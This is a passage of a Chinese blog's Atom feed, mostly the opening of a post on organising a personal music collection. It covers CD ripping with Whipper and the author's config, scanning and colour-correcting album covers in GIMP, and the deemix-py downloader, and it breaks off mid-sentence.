&lt;&#x2F;div&gt;
&lt;h2 id=&quot;勘误&quot;&gt;勘误&lt;&#x2F;h2&gt;
&lt;p&gt;如有错误请在评论区指正。谢谢大家。&lt;&#x2F;p&gt;

      
&lt;div lesspub&gt;
    &lt;br&gt;
    &lt;p&gt;
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&#x2F;assets&#x2F;ablobcatdundundun.gif&quot;
            style=&quot;width:1.2em;transform:translateY(.2em)&quot;
	    loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;复制以下链接，并粘贴到你的&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon、Misskey或&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GoToSocial&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;等应用的搜索栏中，即可搜到对应本文的嘟文。对嘟文进行的点赞、转发、评论，都会出现在本文底部。快去试试吧！
    &lt;&#x2F;p&gt;
    
    &lt;p&gt;
        链接：https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;goty-2023
        &lt;button onclick=&quot;navigator.clipboard.writeText(&#x27;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;goty-2023&#x27;);document.getElementById(&#x27;url-btn&#x27;).innerText=&#x27;复制成功&#x27;&quot;
            id=&#x27;url-btn&#x27;&gt;复制地址&lt;&#x2F;button&gt;
    &lt;&#x2F;p&gt;

    



&lt;br &#x2F;&gt;
&lt;details open likes&gt;
    &lt;summary&gt;


一人赞过：&lt;&#x2F;summary&gt;
    &lt;ol reversed&gt;
        
        &lt;li&gt;&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;mona.do&amp;#x2F;users&amp;#x2F;Brsu&quot;&gt;










黑糖 :splat_golden_egg:&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
        
    &lt;&#x2F;ol&gt;
&lt;&#x2F;details&gt;



    





    




&lt;&#x2F;div&gt;

    </content>
  </entry>
  <entry xml:lang="zh-hans">
    <title>音乐整理博士​，​或：我如何停止担忧并爱上甜菜</title>
    <published>2023-12-17T18:50:23+00:00</published>
    <updated>2024-02-24T22:21:46+00:00</updated>
    <author>
      <name>马鲛鱼</name>
    </author>
    <link href="https://emptystack.top/dr-musicuration/" type="text/html" />
    <id>https://emptystack.top/dr-musicuration/</id>
    <content type="html">
      &lt;p&gt;我在一年前用《&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;good-bye-music-subscriptions&#x2F;&quot;&gt;再见，所有的音乐订阅&lt;&#x2F;a&gt;》记述了自己为什么退订流媒体平台、如何整理音乐收藏。一年过去了，对于“整理音乐收藏”这一话题我仍然兴趣不减，而且有了更多想说的。所以，还是再写一篇吧——我给这两篇都打开了目录，方便各位肉眼&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;diff。&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;aO-ivhpUL~3.png&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;aO-ivhpUL~3.png&quot;
	alt=&quot;Dr Strangelove歪着脑袋拿着烟，会议室里的其他人都长着甜菜脑袋&quot;
	height=&quot;977&quot;
	width=&quot;1302&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;在正式开始之前，请各位先观赏一下我的画作。第一位答出这幅画和本文有什么关系的幸运读者可以找中本聪要十比特币——就说我答应的。&lt;&#x2F;p&gt;
&lt;p&gt;
&lt;h2&gt;目录&lt;&#x2F;h2&gt;
&lt;ul&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;dr-musicuration&#x2F;#获取音乐文件&quot;&gt;获取音乐文件&lt;&#x2F;a&gt;
        
        &lt;ul&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;dr-musicuration&#x2F;#CD抓轨&quot;&gt;CD抓轨&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;dr-musicuration&#x2F;#deemix-py&quot;&gt;deemix-py&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;dr-musicuration&#x2F;#Bandcamp&quot;&gt;Bandcamp&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;dr-musicuration&#x2F;#Nyaa&quot;&gt;Nyaa&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;dr-musicuration&#x2F;#YouTube&quot;&gt;YouTube&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
        &lt;&#x2F;ul&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;dr-musicuration&#x2F;#整理&quot;&gt;整理&lt;&#x2F;a&gt;
        
        &lt;ul&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;dr-musicuration&#x2F;#蠢货附件（git-annex）：把音乐、图片和数据库都放进蠢货（Git）里&quot;&gt;蠢货附件（git-annex）：把音乐、图片和数据库都放进蠢货（Git）里&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;dr-musicuration&#x2F;#甜菜（Beets）：配置文件超进化&quot;&gt;甜菜（Beets）：配置文件超进化&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;dr-musicuration&#x2F;#音乐脑滋（MusicBrainz）：还是自动挡的车好开&quot;&gt;音乐脑滋（MusicBrainz）：还是自动挡的车好开&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
        &lt;&#x2F;ul&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;dr-musicuration&#x2F;#播放&quot;&gt;播放&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;dr-musicuration&#x2F;#Bonus_Track：2023的音乐统计&quot;&gt;Bonus Track：2023的音乐统计&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;dr-musicuration&#x2F;#B-side：停更预告&quot;&gt;B-side：停更预告&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
&lt;&#x2F;ul&gt;
&lt;&#x2F;p&gt;
&lt;h2 id=&quot;获取音乐文件&quot;&gt;获取音乐文件&lt;&#x2F;h2&gt;
&lt;p&gt;我把所有未分类的音乐都放在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;~&#x2F;Music&#x2F;inbox&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的相应文件夹下。例如，抓轨得到的音乐放在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;~&#x2F;Music&#x2F;inbox&#x2F;rip&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;中，而从&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Deezer&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;下载的音乐会放进&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;~&#x2F;Music&#x2F;inbox&#x2F;deemix&lt;&#x2F;code&gt;。下面的&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;dr-musicuration&#x2F;#%E6%95%B4%E7%90%86&quot;&gt;整理章节&lt;&#x2F;a&gt;会讲为什么要这样。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;CD抓轨&quot;&gt;CD&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;抓轨&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;good-bye-music-subscriptions&#x2F;#%E6%82%94%E4%B8%8D%E5%BD%93%E5%88%9D&quot;&gt;我在去年说过&lt;&#x2F;a&gt;：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;我打算等以后有自己的房子了再买&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;CD&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;自己抓。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;我没有忍住，在租房时期就破戒买盘了。我喜欢在手机上听歌，而手机要连光驱比较费劲，所以我需要把&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;CD&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;里的音乐文件抓出来。&lt;&#x2F;p&gt;
&lt;p&gt;2024-02-24&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;注：我发现可以从图书馆借&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;CD。这样既可以避免评论中提出的“CD&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;买多了很沉”的问题，又比较省钱。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;Whipper&quot;&gt;Whipper&lt;&#x2F;h4&gt;
&lt;p&gt;刚开始我拿放大镜照着碟片抄写过数据，但是读到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;900&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;多比特眼睛就累得看不清了。所以最后还是得使用软件去抓。那么，应该用哪款软件呢？REDACTED&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;推荐在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Windows&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;上使用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Exact
Audio
Copy（EAC&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;，在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;macOS&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;上使用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;X
Lossless
Decoder（XLD&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。那&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Linux&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;呢？他们推荐用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Wine&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;模拟&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Windowss&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;跑&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;EAC&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-1&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-1-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-1-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[1]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-1-content&quot;&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;interviewfor.red&#x2F;en&#x2F;ripping.html&quot;&gt;https:&#x2F;&#x2F;interviewfor.red&#x2F;en&#x2F;ripping.html&lt;&#x2F;a&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;p&gt;
&lt;p&gt;我在今年夏末又切回了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Linux，而且我不打算研究&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Wine，所以我就得另辟蹊径使用别的软件&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;rip&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;了。最后选择的软件是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;whipper-team&#x2F;whipper&quot;&gt;Whipper&lt;&#x2F;a&gt;——它可以帮助你调整光驱的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;offset；它可以在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;MusicBrainz&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;上使用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;CD&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Table
of Contents（TOC）来搜索&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Release
id；它会耗尽光驱缓存、多次读取、和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;AccurateRip&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的数据库进行比对来确保读出完美的内容&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-2&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-2-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-2-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[2]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-2-content&quot;&gt;抓轨时需要考虑的细节请阅读：&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;web.archive.org&#x2F;web&#x2F;20160528213242&#x2F;https:&#x2F;&#x2F;thomas.apestaart.org&#x2F;thomas&#x2F;trac&#x2F;wiki&#x2F;DAD&#x2F;Rip&quot;&gt;https:&#x2F;&#x2F;web.archive.org&#x2F;web&#x2F;20160528213242&#x2F;https:&#x2F;&#x2F;thomas.apestaart.org&#x2F;thomas&#x2F;trac&#x2F;wiki&#x2F;DAD&#x2F;Rip&lt;&#x2F;a&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;只要设置好光驱、歌曲命名方式，输入&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;whipper cd rip&lt;&#x2F;code&gt;，享受三十分钟光驱痛苦的狞叫，即可得到一份忠实的声音拷贝。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;Screenshot_20231211_000854.png&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;Screenshot_20231211_000854.91985a22f410040b.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;Screenshot_20231211_000854.90ab5e0d157204a4.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;Screenshot_20231211_000854.ac4e80d3a69b2b0b.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;Screenshot_20231211_000854.90ab5e0d157204a4.webp&quot;
	alt=&quot;&quot;
	
	
	height=&quot;1538&quot;
	width=&quot;2690&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;details&gt;
&lt;summary&gt;
&lt;p&gt;点击查看我的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Whipper&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;配置，仅供参考。&lt;&#x2F;p&gt;
&lt;&#x2F;summary&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;ini&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;drive:HL-DT-ST%3ADVDRAM%20GP60NS60%20%3ARF01&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;vendor&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; HL-DT-ST&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;model&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; DVDRAM GP60NS60&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;release&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; RF01&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;defeats_cache&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; True&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;read_offset&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; 6&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;whipper.cd.rip&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;prompt&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; true&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;output_directory&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; ~&#x2F;Music&#x2F;inbox&#x2F;rip&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;# Variables explanations: https:&#x2F;&#x2F;github.com&#x2F;whipper-team&#x2F;whipper&#x2F;issues&#x2F;283&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;# track_template is for songs, disc_template is for other files&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;track_template&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; %%S&#x2F;%%d&#x2F;%%t %%n&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;disc_template&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; %%S&#x2F;%%d&#x2F;%%A - %%d&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;&#x2F;details&gt;
&lt;h4 id=&quot;扫描封面&quot;&gt;扫描封面&lt;&#x2F;h4&gt;
&lt;p&gt;我有一台朋友送的扫描仪&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-3&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-3-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-3-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[3]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-3-content&quot;&gt;准确地说是扫描、打印、复印一体机，但是我只用它扫描，所以我就把它当单纯的扫描仪。&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;所以我就不从&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Cover
Art Archive&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;那里下别人扫描的封面了。&lt;&#x2F;p&gt;
&lt;p&gt;平常我使用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Skanpage&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;扫描小票、文档之类的。这些东西只要能看出字来就行，所以可以很随意地扫描。但是专辑封面可是艺术品，所以事先查了一些教程。&lt;&#x2F;p&gt;
&lt;p&gt;目前我用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Skanpage&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;进行粗略扫描，再用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GIMP&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;打开导出的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;PNG，进行旋转、裁剪、调整色彩、删掉透明通道的修缮工作&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-4&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-4-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-4-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[4]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-4-content&quot;&gt;其实&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GIMP&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;可以直接扫描，但是我没成功。&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;我的后处理参考了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;wiki.musicbrainz.org&#x2F;How_to_Scan_Cover_Art&quot;&gt;How
to Scan Cover
Art&lt;&#x2F;a&gt;，唯一的区别是顺序。&lt;&#x2F;p&gt;
&lt;p&gt;选择扫描&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;PPI&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;其实很简单：使用扫描仪最大的光学分辨率即可（如果有两个数，就是乘号前头的那个&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。再往上的设置只会让你的文件更大，观感更糊&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-5&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-5-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-5-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[5]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-5-content&quot;&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.scantips.com&#x2F;basics07.html&quot;&gt;Interpolated
Resolution - 9600
dpi?&lt;&#x2F;a&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;Screenshot_20231215_172544.png&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;Screenshot_20231215_172544.png&quot;
	alt=&quot;例如我的扫描仪Datasheet中就提到光学分辨率是1200 ppi&quot;
	height=&quot;123&quot;
	width=&quot;1437&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;最难的是修复扫描结果的色彩。专业级的扫描仪就像专业级的显示器一样，是要校准的。我的扫描仪是——不能说得太狠，会伤我同学的心，总之，需要后期调整才更接近肉眼看到的样子。出于简单的原因，我采用调整&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Colour
Levels&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的方式来调整色彩：只需要选出图片中应该为纯黑和纯白的部分，GIMP&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;就会自动帮忙调整所有色彩。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20231211_214759378~2-pure.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20231211_214759378~2-pure.a934be4d6df1cd54.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20231211_214759378~2-pure.01b912353574a2cf.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20231211_214759378~2-pure.6945d3b9813bc0e5.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20231211_214759378~2-pure.01b912353574a2cf.webp&quot;
	alt=&quot;&quot;
	
	
	height=&quot;2263&quot;
	width=&quot;3108&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;调整&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Colour
Levels&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;后的效果如何？观感上看起来好很多，但是和实物还是没法比。因为自发光的显示器和反射光线的纸无论怎样对比都有天壤之别。所以说，我这台&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Calman
Verified，平均&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;ΔE&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;只有&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;0.3195&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的显示器白买了。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;deemix-py&quot;&gt;deemix-py&lt;&#x2F;h3&gt;
&lt;p&gt;今年我得知了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;deemix-py——从云音乐平台&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Deezer&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;下载无损音乐的工具。坏消息是：&lt;a rel=&quot;external&quot; title=&quot;Deemix: Last update is now out!&quot; href=&quot;https:&#x2F;&#x2F;archive.vn&#x2F;ziSxz&quot;&gt;deemix-py&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;在一年前就已经停止维护了&lt;&#x2F;a&gt;；好消息是：deemix-py&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;仍然可用，而且&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;gitlab.com&#x2F;RemixDev&#x2F;deemix-py&quot;&gt;是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Python&lt;span 